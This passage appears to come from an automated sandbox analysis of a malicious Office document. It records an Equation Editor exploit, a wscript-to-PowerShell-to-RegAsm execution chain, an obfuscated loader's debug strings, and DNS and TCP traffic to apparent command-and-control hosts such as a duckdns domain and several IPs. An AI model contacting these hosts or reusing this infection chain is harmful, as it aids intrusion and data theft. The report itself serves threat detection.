              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,12_2_00409253
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,12_2_0041C291
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,12_2_0040C34D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,12_2_00409665
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0044E879 FindFirstFileExA,12_2_0044E879
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,12_2_0040880C
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040783C FindFirstFileW,FindNextFileW,12_2_0040783C
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,12_2_00419AF5
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,12_2_0040BB30
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,12_2_0040BD37
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,12_2_00407C97

              Software Vulnerabilities

              barindex
              Document exploit detected (process start blacklist hit)
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\dllhost.exe
              Shellcode detected
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_0065BAED __common_dcos_data,8_2_0065BAED
              Suspicious execution chain found
              Source: C:\Windows\SysWOW64\wscript.exeChild: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeChild: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              Source: global trafficDNS query: name: tny.wtf
              Source: global trafficDNS query: name: tny.wtf
              Source: global trafficDNS query: name: tny.wtf
              Source: global trafficDNS query: name: tny.wtf
              Source: global trafficDNS query: name: tny.wtf
              Source: global trafficDNS query: name: tny.wtf
              Source: global trafficDNS query: name: 2024remcmon.duckdns.org
              Source: global trafficDNS query: name: 2024remcmon.duckdns.org
              Source: global trafficDNS query: name: 2024remcmon.duckdns.org
              Source: global trafficDNS query: name: geoplugin.net
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49169 -> 198.46.176.133:80
              Source: global trafficTCP traffic: 192.168.2.22:49170 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49172 -> 178.237.33.50:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
              Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
              Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 188.114.97.3:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
              Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
              Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
              Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
              Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
              Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
              Source: global trafficTCP traffic: 192.168.2.22:49166 -> 188.114.96.3:80
              Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49166
              Source: global trafficTCP traffic: 192.168.2.22:49166 -> 188.114.96.3:80
              Source: global trafficTCP traffic: 192.168.2.22:49166 -> 188.114.96.3:80
              Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49166
              Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49166
              Source: global trafficTCP traffic: 192.168.2.22:49166 -> 188.114.96.3:80
              Source: global trafficTCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
              Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
              Source: global trafficTCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
              Source: global trafficTCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
              Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
              Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
              Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
              Source: global trafficTCP traffic: 188.114.97.3:80 -> 192.168.2.22:49167
              Source: global trafficTCP traffic: 192.168.2.22:49167 -> 188.114.97.3:80
              Source: global trafficTCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
